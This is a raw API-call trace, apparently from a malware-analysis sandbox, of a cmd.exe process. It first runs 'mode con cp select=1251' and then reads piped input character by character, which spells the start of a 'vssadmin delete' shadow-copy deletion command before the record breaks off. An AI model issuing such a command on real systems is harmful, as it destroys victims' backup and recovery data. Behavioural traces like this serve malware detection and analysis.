[0042.681] FindClose (in: hFindFile=0x3e5c00 | out: hFindFile=0x3e5c00) returned 1 [0042.681] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0042.681] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0042.681] GetConsoleTitleW (in: lpConsoleTitle=0x25f5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0042.681] GetProcessHeap () returned 0x3d0000 [0042.681] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x21c) returned 0x3e9c40 [0042.681] GetConsoleTitleW (in: lpConsoleTitle=0x3e9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0042.681] GetProcessHeap () returned 0x3d0000 [0042.681] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e9c40, Size=0xa8) returned 0x3e9c40 [0042.681] GetProcessHeap () returned 0x3d0000 [0042.681] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e9c40) returned 0xa8 [0042.681] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0042.682] GetProcessHeap () returned 0x3d0000 [0042.682] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e9c40 | out: hHeap=0x3d0000) returned 1 [0042.682] InitializeProcThreadAttributeList (in: lpAttributeList=0x25f378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x25f338 | out: lpAttributeList=0x25f378, lpSize=0x25f338) returned 1 [0042.682] UpdateProcThreadAttribute (in: lpAttributeList=0x25f378, dwFlags=0x0, Attribute=0x60001, lpValue=0x25f328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x25f378, lpPreviousValue=0x0) returned 1 [0042.682] GetStartupInfoW (in: lpStartupInfo=0x25f490 | out: lpStartupInfo=0x25f490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0042.682] GetProcessHeap () returned 0x3d0000 [0042.682] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x20) returned 0x3e4640 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0042.682] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0042.683] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0042.683] GetProcessHeap () returned 0x3d0000 [0042.683] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e4640 | out: hHeap=0x3d0000) returned 1 [0042.683] GetProcessHeap () returned 0x3d0000 [0042.683] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x12) returned 0x3e8900 [0042.683] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x25f3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x25f360 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x25f360*(hProcess=0x54, hThread=0x50, dwProcessId=0xad4, dwThreadId=0xad8)) returned 1 [0042.772] CloseHandle (hObject=0x50) returned 1 [0042.772] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0042.772] GetProcessHeap () returned 0x3d0000 [0042.772] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec230 | out: hHeap=0x3d0000) returned 1 [0042.772] GetEnvironmentStringsW () returned 0x3eaa10* [0042.772] GetProcessHeap () returned 0x3d0000 [0042.772] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xae8) returned 0x3eb500 [0042.772] FreeEnvironmentStringsW (penv=0x3eaa10) returned 1 [0042.772] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0042.772] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0042.772] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x25ec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x25ec68, ReturnLength=0x0) returned 0x0 [0042.773] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x25eca0, nSize=0x380, lpNumberOfBytesRead=0x25ec60 | out: lpBuffer=0x25eca0*, lpNumberOfBytesRead=0x25ec60*=0x380) returned 1 [0042.773] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0043.397] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x25f2a8 | out: lpExitCode=0x25f2a8*=0x0) returned 1 [0043.397] CloseHandle (hObject=0x54) returned 1 [0043.397] _vsnwprintf (in: _Buffer=0x25f518, _BufferCount=0x13, _Format="%08X", _ArgList=0x25f2b8 | out: _Buffer="00000000") returned 8 [0043.397] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0043.397] GetProcessHeap () returned 0x3d0000 [0043.397] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb500 | out: hHeap=0x3d0000) returned 1 [0043.397] GetEnvironmentStringsW () returned 0x3eaa10* [0043.397] GetProcessHeap () returned 0x3d0000 [0043.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb0e) returned 0x3eeb10 [0043.397] FreeEnvironmentStringsW (penv=0x3eaa10) returned 1 [0043.397] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0043.397] GetProcessHeap () returned 0x3d0000 [0043.397] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eeb10 | out: hHeap=0x3d0000) returned 1 [0043.397] GetEnvironmentStringsW () returned 0x3eaa10* [0043.397] GetProcessHeap () returned 0x3d0000 [0043.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb0e) returned 0x3eeb10 [0043.397] FreeEnvironmentStringsW (penv=0x3eaa10) returned 1 [0043.397] GetProcessHeap () returned 0x3d0000 [0043.397] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e8900 | out: hHeap=0x3d0000) returned 1 [0043.397] DeleteProcThreadAttributeList (in: lpAttributeList=0x25f378 | out: lpAttributeList=0x25f378) [0043.667] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0043.667] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.667] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0043.667] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.667] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a09e194 | out: lpMode=0x4a09e194) returned 0 [0043.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.667] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a09e198 | out: lpMode=0x4a09e198) returned 0 [0043.668] GetConsoleOutputCP () returned 0x4e3 [0043.668] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a0abfe0 | out: lpCPInfo=0x4a0abfe0) returned 1 [0043.668] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b70 | out: hHeap=0x3d0000) returned 1 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e9b00 | out: hHeap=0x3d0000) returned 1 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1cd0 | out: hHeap=0x3d0000) returned 1 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e9a80 | out: hHeap=0x3d0000) returned 1 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e98a0 | out: hHeap=0x3d0000) returned 1 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1ab0 | out: hHeap=0x3d0000) returned 1 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6510 | out: hHeap=0x3d0000) returned 1 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e4610 | out: hHeap=0x3d0000) returned 1 [0043.669] GetProcessHeap () returned 0x3d0000 [0043.669] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e97e0 | out: hHeap=0x3d0000) returned 1 [0043.669] _vsnwprintf (in: _Buffer=0x4a0b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f7d8 | out: _Buffer="\r\n") returned 2 [0043.669] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.669] GetFileType (hFile=0xf4) returned 0x3 [0043.669] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.669] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0043.669] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25f7a8*=0x2, lpOverlapped=0x0) returned 1 [0043.669] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0043.669] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0043.669] _vsnwprintf (in: _Buffer=0x4a09eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x25f7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0043.670] _vsnwprintf (in: _Buffer=0x4a09ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x25f7e8 | out: _Buffer=">") returned 1 [0043.670] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.670] GetFileType (hFile=0xf4) returned 0x3 [0043.670] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.670] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0043.670] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x25f7d8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25f7d8*=0x26, lpOverlapped=0x0) returned 1 [0043.670] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.670] GetFileType (hFile=0xe8) returned 0x3 [0043.670] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.670] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.670] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.670] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0043.670] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.670] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.670] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.670] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0043.670] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.670] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.670] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.670] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0043.670] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.670] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.670] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.670] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0043.670] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.670] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.670] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0043.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0043.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0043.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0043.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0043.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0043.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0043.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.671] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.672] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0043.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.672] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0043.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.672] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0043.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.672] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0043.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.672] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0043.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.672] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, 